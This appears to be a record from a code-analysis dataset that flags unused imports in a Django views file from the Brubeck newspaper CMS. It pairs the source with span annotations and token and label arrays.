", "is", " ", "alr", "ead", "y", " ", "register", "ed", "\\\\", "n", "\"_", "%_", "src_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mess_", "+=_", "\"", "Curr", "ent", " ", "work", "tree", ":", " ", "%", "s", "\"_", "%_", "self_", "._", "root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "cache_", "._", "remove", "\\u", "src_", "(_", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cache_", "._", "add", "\\u", "src_", "(_", "new", "\\u", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "load", "\\u", "projects_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "project_", "=_", "self_", "._", "get", "\\u", "project_", "(_", "src_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "observer_", "in_", "self_", "._", "\\u", "observers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "observer_", "._", "reload_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
albatrossandco/brubeck_cms/brubeck/management/views.py
[ { "content": "# -*- coding: utf-8 -*- \n# Imports from standard libraries\nimport calendar as pycal\nfrom datetime import date, datetime, time, timedelta\nimport random\nimport itertools\nimport operator\n\n# Imports from Django\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.markup.templatetags.markup import markdown\nfrom django.contrib.sites.models import Site\nfrom django.core.paginator import EmptyPage, InvalidPage, Paginator\nfrom django.core.urlresolvers import reverse\nfrom django.db.models import Q\nfrom django.http import Http404, HttpResponseRedirect, HttpResponsePermanentRedirect\nfrom django.shortcuts import get_object_or_404, render_to_response\nfrom django.template import RequestContext\nfrom django.utils.html import urlize\nfrom django.utils.http import urlencode\nfrom django.utils.safestring import mark_safe\nfrom django.views.decorators.cache import cache_page\n\n# Imports from Brubeck\nfrom brubeck.articles.models import Article\nfrom brubeck.blogs.models import Blog, Entry\nfrom brubeck.core import imaging\nfrom brubeck.design.models import Graphic, Layout\nfrom brubeck.events.models import Calendar, Event\nfrom brubeck.management.models import NewsBurst, WebFront\nfrom brubeck.mapping.models import Map\nfrom brubeck.multimedia.models import AudioClip, Slideshow, Video\nfrom brubeck.photography.models import Photo\nfrom brubeck.podcasts.models import Channel, Episode\nfrom brubeck.publishing.models import Issue, Section\nfrom brubeck.tagging.models import Tag\nfrom brubeck.voxpopuli.models import Poll\n\n# Imports from other dependencies.\n#from googleanalytics import Connection\n\n\n\n# @cache_page(60 * 5)\n# def top_online(request):\n\n\t# connection = Connection(settings.ANALYTICS_EMAIL_ADDRESS, settings.ANALYTICS_EMAIL_PASSWORD)\n\n\t# account = connection.get_accounts()[0]\n\n# today = datetime.today()\n\n# issues = Issue.objects.all().order_by('-pub_date').filter(online_update=0).filter(pub_date__lte=today)\n\n# start = issues[1].pub_date.date()\n\n# end = issues[0].pub_date.date()-timedelta(days=1)\n\n# start = issues[0].pub_date.date()\n\n# end = date.today()\n\n# top_hits = account.get_data(start_date=start, end_date=end, dimensions=['pagePath',], metrics=['pageviews',], sort=['-pageviews',])\n\n# top_hits_list = top_hits.tuple[:25]\n\n# top_pages = account.get_data(start_date=start, end_date=end, dimensions=['pageTitle','pagePath',], metrics=['pageviews',], sort=['-pageviews',])\n\n\t# top_pages_list = top_pages.tuple[:25]\n\n# allowed_url_bases = ['audio', 'blogs', 'calendar', 'graphics', 'layouts', 'maps', 'photos', 'podcasts', 'polls', 'slideshows', 'stories', 'videos']\n\n\t# top_content = []\n\t# for entry in top_hits_list:\n\t\t# substring = entry[0][0].split('/')\n\t\t# if substring[1] in allowed_url_bases:\n\t\t\t# top_content.append((entry, substring[1]))\n\n\t# top_online = []\n\t# for entry in top_content:\n\t\t# if entry[1] == 'audio':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# audioclip = AudioClip.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(audioclip)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'blogs':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[3]\n\t\t\t\t# month = substring[4]\n\t\t\t\t# day = substring[5]\n\t\t\t\t# slug = substring[6]\n\t\t\t\t# entry = Entry.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(slug=slug)\n\t\t\t\t# top_online.append(entry)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'calendar':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# slug = substring[5]\n\t\t\t\t# event = Event.objects.filter(start__year=year).filter(start__month=month).filter(start__day=day).get(slug=slug)\n\t\t\t\t# top_online.append(event)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'graphics':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# graphic = Graphic.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(graphic)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'layouts':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# layout = Layout.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(layout)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'maps':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# slug = substring[2]\n\t\t\t\t# map = Poll.objects.get(slug=slug)\n\t\t\t\t# top_online.append(map)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'photos':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# photo = Photo.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(photo)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'podcasts':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# id = substring[3]\n\t\t\t\t# episode = Episode.objects.get(id=id)\n\t\t\t\t# top_online.append(episode)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'polls':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# id = substring[2]\n\t\t\t\t# poll = Poll.objects.get(id=id)\n\t\t\t\t# top_online.append(poll)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'slideshows':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# slideshow = Slideshow.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(slideshow)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'stories':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# slug = substring[5]\n\t\t\t\t# article = Article.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(slug=slug)\n\t\t\t\t# top_online.append(article)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t# elif entry[1] == 'videos':\n\t\t\t# try:\n\t\t\t\t# substring = entry[0][0][0].split('/')\n\t\t\t\t# year = substring[2]\n\t\t\t\t# month = substring[3]\n\t\t\t\t# day = substring[4]\n\t\t\t\t# id = substring[5]\n\t\t\t\t# video = Video.objects.filter(pub_date__year=year).filter(pub_date__month=month).filter(pub_date__day=day).get(id=id)\n\t\t\t\t# top_online.append(video)\n\t\t\t# except:\n\t\t\t\t# pass\n\t\t\t\t\n\t# top_online = top_online[:10]\n\n\t# page = {\n\t\t# 'end': end,\n\t\t# 'start': start,\n\t\t# 'top_content': top_content,\n\t\t# 'top_hits_list': top_hits_list,\n\t\t# 'top_online': top_online,\n\t\t# 'top_pages_list': top_pages_list,\n\t# }\n\n\t# return render_to_response('management/top_online.html', page, context_instance=RequestContext(request))", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@cache_page(60 * 1)\ndef render_frontpage(request):\n\t\"\"\"\n\tRetrieves the most recently updated front-page configuration from the \n\tdatabase and renders it.\n\t\n\tSince this view will process anywhere from a quarter to half our pageviews \n\tfor a given day, it should be pretty damn fast. Django's template language\n\tis nice, but doing processing there is much slower than doing it in the\n\tview--so let's do a fair amount of the rendering and processing before we\n\tget there.\n\t\n\tTemplate:\n\t\tfrontpage.html\n\t\n\tArguments:\n\t\tNone.\n\t\n\tContext (let's fill this in soon):\n\t\t'all_blogs'\n\t\t'calendar'\n\t\t'calendar_list'\n\t\t'events'\n\t\t'event_list'\n\t\t'issue'\n\t\t'issue_front'\n\t\t'issue_other_layouts'\n\t\t'latest_audio'\n\t\t'latest_blog_posts'\n\t\t'latest_multimedia'\n\t\t'latest_online_exclusives'\n\t\t'latest_podcast_episodes'\n\t\t'latest_slideshow'\n\t\t'latest_video'\n\t\t'month'\n\t\t'month_formatted'\n\t\t'month_minus'\n\t\t'month_name'\n\t\t'month_plus'\n\t\t'news_bursts'\n\t\t'other_info'\n\t\t'rotating_item_list'\n\t\t'rotating_items'\n\t\t'section_arts'\n\t\t'section_arts_articles'\n\t\t'section_forum'\n\t\t'section_forum_articles'\n\t\t'section_news'\n\t\t'section_news_articles'\n\t\t'section_outlook'\n\t\t'section_outlook_articles'\n\t\t'section_sports'\n\t\t'section_sports_articles'\n\t\t'this_month'\n\t\t'this_year'\n\t\t'today'\n\t\t'top_articles'\n\t\t'weekday_header'\n\t\t'year'\n\t\t'year_minus'\n\t\t'year_plus'\n\t\"\"\"\n\tsite = Site.objects.get_current()\n\tfront = WebFront.objects.select_related(depth=1).filter(site=site, type='site').latest()\n\t\n\tissue = front.issue\n\t\n\t# For the top articles not in the rotation, we choose from published articles that:\n\t# * are on the current site,\n\t# * were published on or after the day this issue was published and\n\t# * don't have publication dates in the future.\n\tarticles = Article.get_published.select_related(depth=1).filter(section__publication__site=site).filter(issue__pub_date__gte=issue.pub_date).filter(issue__pub_date__lte=datetime.now()).order_by('priority')\n\t\n\t# Here we get a list of all five top items, for a JavaScript rotation.\n\t# Note we have two variables with this list — this is due to how our\n\t# particular rotation is implemented.\n\trotating_items = front.item_set.all()\n\trotating_item_list = front.item_set.all()\n\n\t# Remove the top story from further consideration.\n\t#B# This will need to be changed to reflect articles no longer being directly FKed to WebFronts.\n\t#articles = articles.exclude(webfronts__webfront=front)\n\t\n\ttop_articles = articles[:4]\n\t\n\t# Here we get the top five articles from each section.\n\t\n\t# NOTE: This hard-codes section names in so that we can control\n\t# which section appears where in the front page template.\n\t#B# This will need to be changed to programatically go through sections. We can now order the sections by their ContentChannel's priority.\n\t\n\tsections = Section.objects.all().order_by('-priority')[:5]\n\tsection_list = []\n\t\n\tfor section in sections:\n\t\tsec_obj = section\n\t\tsec_articles = articles.filter(section=section).order_by('priority')[:5]\n\t\tsection_dict = {'sec_obj':sec_obj,'articles':sec_articles}\n\t\tsection_list.append(section_dict)\n# section_news = Section.objects.get(name='News')\n# section_news_articles = articles.filter(section=section_news).order_by('priority')[:5]\n# section_outlook = Section.objects.get(name='Outlook')\n# section_outlook_articles = articles.filter(section=section_outlook).order_by('priority')[:5]\n# section_forum = Section.objects.get(name='Forum')\n# section_forum_articles = articles.filter(section=section_forum).order_by('priority')[:5]\n# section_arts = Section.objects.get(name='Arts')\n# section_arts_articles = section_arts.article_set.filter(published=1).order_by('-pub_date', 'priority')[:5]\n# section_sports = Section.objects.get(name='Sports')\n# section_sports_articles = articles.filter(section=section_sports).order_by('priority')[:5]\n\t\n\t# And now we get all blogs that are listed in this publication, and\n\t# the three most recent posts in these blogs.\n\tall_blogs = Blog.current.filter(section__publication__site=site).all()\n\tlatest_blog_posts = Entry.get_published.filter(blog__section__publication__site=site)[:3]\n\t\n\t# Now we get the latest podcast episodes from across all sites.\n\tlatest_podcast_episodes = Episode.objects.all()[:4]\n\n\t# Here we also get the top three online-only stories that:\n\t# * aren't published in the future,\n\t# * are marked as Web updates and\n\t# * aren't in the rotation.\n\tlatest_online_exclusives = Article.get_published.filter(issue__pub_date__lte=datetime.now()).filter(type='online')\n#\tlatest_online_exclusives = latest_online_exclusives.exclude(webfronts__webfront=front)\n\tlatest_online_exclusives = latest_online_exclusives[:3]\n\t\n\t# Now to get the most recently released multimedia.\n\ttry:\n\t\tlatest_video = Video.objects.filter(publication__site=site).latest()\n#\t\tlatest_video = latest_video.exclude(webfronts__webfront=front).latest()\n\texcept:\n\t\tlatest_video = \"\"\n\ttry:\n\t\tlatest_slideshow = Slideshow.objects.filter(publication__site=site).latest()\n#\t\tlatest_slideshow = latest_slideshow.exclude(webfronts__webfront=front).latest()\n\texcept:\n\t\tlatest_slideshow = \"\"\n\ttry:\n\t\tlatest_audio = AudioClip.objects.filter(publication__site=site).latest()\n#\t\tlatest_audio = latest.audio.exclude(webfronts__webfront=front).latest()\n\texcept:\n\t\tlatest_audio = \"\"\n\t\n\t# Compare the video and slideshow to see which one's newer.\n\tif latest_slideshow != \"\" and latest_video != \"\" and latest_slideshow.pub_date > latest_video.pub_date:\n\t\tlatest_multimedia = latest_slideshow\n\telse:\n\t\tlatest_multimedia = latest_video\n\t\n\t# Compare the audio and the winner so far to see which one's newer.\n\tif latest_audio != \"\" and latest_multimedia != \"\" and latest_audio.pub_date > latest_multimedia.pub_date:\n\t\tlatest_multimedia = latest_audio\n\t\n\t# Do we need to show anything else? If so, go ahead and render it.\n\t#B# Is this still relevant? If so, make it prominent on the page.\n\tother_info = None\n\tif front.other_info:\n\t\tother_info = markdown(front.other_info)\n\t\n\t# Get all events that aren't over and that are in the\n\t# appropriate calendar.\n\tevents = Event.not_past.filter(calendars=front.calendar)[:5]\n\t\n\t# Get all currently-published news bursts.\n\t#B# Should we have different news bursts for each site?\n\tnews_bursts = NewsBurst.get_published.all()\n\t\n\t# Get the front page layout from this issue, if there is one.\n\ttry:\n\t\tissue_front = issue.layout_set.filter(type='cover').filter(section__publication__site=site).latest()\n\texcept:\n\t\tissue_front = None\n\t\n\t# Get all other layouts from this issue.\n\tissue_other_layouts = issue.layout_set.exclude(type='cover').filter(section__publication__site=site)\n\t\n\t# And now, the calendar. Nothing too fancy here; a repaste of the code found in\n\t# events.views.gridone gets the job done.\n\tyear = datetime.now().year\n\tmonth = datetime.now().month\n\tcalendar = None\n\tcalendar_list = Calendar.objects.all().order_by('name')\n\tevents = Event.objects.all()\n\tmonth_formatted = pycal.monthcalendar(year, month)\n\tmonth_minus = month - 1\n\tmonth_plus = month + 1\n\tmonth_name = pycal.month_name[month]\n\tweekday_header = pycal.weekheader(3).strip().split(\" \")\n\tyear_minus = year - 1\n\tyear_plus = year + 1\n\ttoday = datetime.now().day\n\tthis_month = month\n\tthis_year = year\n\tevent_list = events.filter(Q(start__year=year, start__month=month) | Q(end__year=year, end__month=month))\n\t\n\t# A reposting of the method to get events from earlier. Because you just\n\t# don't want every event THAT WAS EVER PUT IN showing up on the front page.\n\tevents = Event.not_past.filter(calendars=front.calendar)[:5]\n\t\n\t#B# Can we do a TopOnline view that can return context here, instead of calling methods ourselves?\n\t\n\tpage = {\n\t\t'all_blogs': all_blogs,\n\t\t'calendar': calendar,\n\t\t'calendar_list': calendar_list,\n\t\t'events': events,\n\t\t'event_list': event_list,\n\t\t'issue': issue,\n\t\t'issue_front': issue_front,\n\t\t'issue_other_layouts': issue_other_layouts,\n\t\t'latest_audio': latest_audio,\n\t\t'latest_blog_posts': latest_blog_posts,\n\t\t'latest_multimedia': latest_multimedia,\n\t\t'latest_online_exclusives': latest_online_exclusives,\n\t\t'latest_podcast_episodes': latest_podcast_episodes,\n\t\t'latest_slideshow': latest_slideshow,\n\t\t'latest_video': latest_video,\n\t\t'month': month,\n\t\t'month_formatted': month_formatted,\n\t\t'month_minus': month_minus,\n\t\t'month_name': month_name,\n\t\t'month_plus': month_plus,\n\t\t'news_bursts': news_bursts,\n\t\t'other_info': other_info,\n\t\t'rotating_item_list': rotating_item_list,\n\t\t'rotating_items': rotating_items,\n\t\t'sections': section_list,\n# 'section_arts': section_arts,\n# 'section_arts_articles': section_arts_articles,\n# 'section_forum': section_forum,\n# 'section_forum_articles': section_forum_articles,\n# 'section_news': section_news,\n# 'section_news_articles': section_news_articles,\n# 'section_outlook': section_outlook,\n# 'section_outlook_articles': section_outlook_articles,\n# 'section_sports': section_sports,\n# 'section_sports_articles': section_sports_articles,\n\t\t'this_month': this_month,\n\t\t'this_year': this_year,\n\t\t'today': today,\n\t\t'top_articles': top_articles,\n\t\t'weekday_header': weekday_header,\n\t\t'year': year,\n\t\t'year_minus': year_minus,\n\t\t'year_plus': year_plus,\n\t}\n\t\n\treturn render_to_response('frontpage/frontpage.html', page, context_instance=RequestContext(request))", "metadata": "root.render_frontpage", "header": "['module', '___EOS___']", "index": 42 }, { "content": "@cache_page(60 * 10)\ndef section_front(request, slug=None, page=1):\n\t\"\"\" \n\tShows a paginated list of articles for a given section.\n\t\"\"\"\n\tsite = Site.objects.get_current()\n\ttry:\n\t\tsection = Section.objects.filter(publication__site=site).get(slug=slug)\n\texcept Section.DoesNotExist:\n\t\traise Http404\n\t\n\ttry:\n\t\tsection_front = WebFront.objects.filter(site=site, type='section').get(top_sections=section)\n\t\tlead_item = section_front.item_set.all()[:1]\n\t\tpriority_items = section_front.item_set.all()[1:5]\n\texcept WebFront.DoesNotExist:\n\t\traise Http404\n\n\tarchive_name = section.name\n\n\ttry:\n\t\tpage = int(page)\n\texcept ValueError:\n\t\traise Http404\n\n\tarticles = Article.get_published.filter(section=section).exclude(webfrontitem__webfront=section_front)[:10]\n\n\tblog_posts = Entry.get_published.filter(blog__section=section)[:5]\n\n\trecent_articles = Article.get_published.filter(section=section)[:50]\n\n\trelated_blogs = Blog.current.filter(section=section)\n\n\trelated_podcasts = Episode.objects.filter(channel__section=section)[:5]\n\n\ttag_dict = {}\n\tfor article in recent_articles:\n\t\tfor tag in article.tags.all():\n\t\t\tif tag.title in tag_dict:\n\t\t\t\ttag_dict[tag.title] = tag_dict[tag.title] + 1\n\t\t\telse:\n\t\t\t\ttag_dict[tag.title] = 1\n\n\tfeatured_tags = tag_dict.items()\n\n\tordered_tags = sorted(featured_tags, key=lambda tag: tag[1], reverse=True)[:30]\n\n\ttag_objects = []\n\tfor tag in ordered_tags:\n\t\ttag_obj = Tag.objects.get(title=tag[0])\n\t\ttag_objects.append((tag_obj, tag[1]))\n\n\trandom.shuffle(tag_objects)\n\n\ttag_cloud = []\n\tfor tag in tag_objects:\n\t\tif tag[1] > 15:\n\t\t\tnew_size = 25\n\t\telse:\n\t\t\tnew_size = 9 + tag[1]\n\t\ttag_cloud.append((tag[0], new_size))\n\n\tpage = {\n\t\t'archive_name': archive_name,\n\t\t'articles': articles,\n\t\t'blog_posts': blog_posts,\n\t\t'lead_item': lead_item,\n\t\t'ordered_tags': ordered_tags,\n\t\t'priority_items': priority_items,\n\t\t'related_blogs': related_blogs,\n\t\t'related_podcasts': related_podcasts,\n\t\t'section': section,\n\t\t'section_front': section_front,\n\t\t'tag_cloud': tag_cloud,\n\t}\n\t\n\treturn render_to_response('management/section_front.html', page, RequestContext(request))", "metadata": "root.section_front", "header": "['module', '___EOS___']", "index": 291 } ]
[ { "span": "import itertools", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 16 }, { "span": "import operator", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 }, { "span": "from django.conf import settings", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 32 }, { "span": "from django.contrib.auth.decorators import login_required", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 57 }, { "span": "from django.core.paginator import EmptyPage, InvalidPage, Paginator", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 67 }, { "span": "from django.core.urlresolvers import reverse", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 44 }, { "span": "from django.http import Http404, HttpResponseRedirect, HttpResponsePermanentRedirect", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 84 }, { "span": "from django.shortcuts import get_object_or_404, render_to_response", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 66 }, { "span": "from django.utils.html import urlize", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 36 }, { "span": "from django.utils.http import urlencode", "start_line": 20, "start_column": 0, "end_line": 20, "end_column": 39 }, { "span": "from django.utils.safestring import mark_safe", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 45 }, { "span": "from brubeck.core import imaging", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 32 }, { "span": "from brubeck.design.models import Graphic, Layout", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 49 }, { "span": "from brubeck.mapping.models import Map", "start_line": 31, "start_column": 0, "end_line": 31, "end_column": 38 }, { "span": "from brubeck.photography.models import Photo", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 44 }, { "span": "from brubeck.podcasts.models import Channel, Episode", "start_line": 34, "start_column": 0, "end_line": 34, "end_column": 52 }, { "span": "from brubeck.publishing.models import Issue, Section", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 52 }, { "span": "from brubeck.voxpopuli.models import Poll", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 41 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", " ", "from", " ", "standard", " ", "libraries_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "calendar_", "as_", "pyca", "l_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "date_", ",_", "datetime_", ",_", "time_", ",_", "timedelta_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "operator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", " ", "from", " ", "Dj", "ang", "o_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "decorators_", "import_", "login", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "markup_", "._", "templatet", "ags_", "._", "markup_", "import_", "markdown_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "sites_", "._", "models_", "import_", "Site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "paginator_", "import_", "Emp", "ty", "Page_", ",_", "Inva", "lid", "Page_", ",_", "Paginator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "Q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http404_", ",_", "Http", "Respons", "e", "Redirect_", ",_", "Http", "Respons", "e", "Permanent", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "get", "\\u", "object\\u", "or", "\\u", "404_", ",_", "render", "\\u", "to", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "template_", "import_", "Request", "Context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "html_", "import_", "url", "ize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "http_", "import_", "urlencode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "safe", "string_", "import_", "mark", "\\u", "safe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "views_", "._", "decorators_", "._", "cache_", "import_", "cache", "\\u", "page_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", " ", "from", " ", "Bru", "bec", "k_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "articles_", "._", "models_", "import_", "Article_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "blogs", "_", "._", "models_", "import_", "Blog", "_", ",_", "Entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "core_", "import_", "imagin", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "design_", "._", "models_", "import_", "Graphic", "_", ",_", "Layout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "events_", "._", "models_", "import_", "Calendar_", ",_", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "management_", "._", "models_", "import_", "News", "Bur", "st_", ",_", "Web", "Front", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "mapping_", "._", "models_", "import_", "Map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "multim", "edia", "_", "._", "models_", "import_", "Audi", "o", "Clip", "_", ",_", "Slide", "show_", ",_", "Video_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "photo", "graphy_", "._", "models_", "import_", "Photo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "podcast", "s_", "._", "models_", "import_", "Channel_", ",_", "Episode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "publishing", "_", "._", "models_", "import_", "Issue_", ",_", "Section_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "tagging", "_", "._", "models_", "import_", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bru", "bec", "k_", "._", "vox", "popul", "i_", "._", "models_", "import_", "Poll", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Imports", " ", "from", " ", "other", " ", "dependen", "cies", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "from", " ", "google", "analytics", " ", "import", " ", "Connection_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 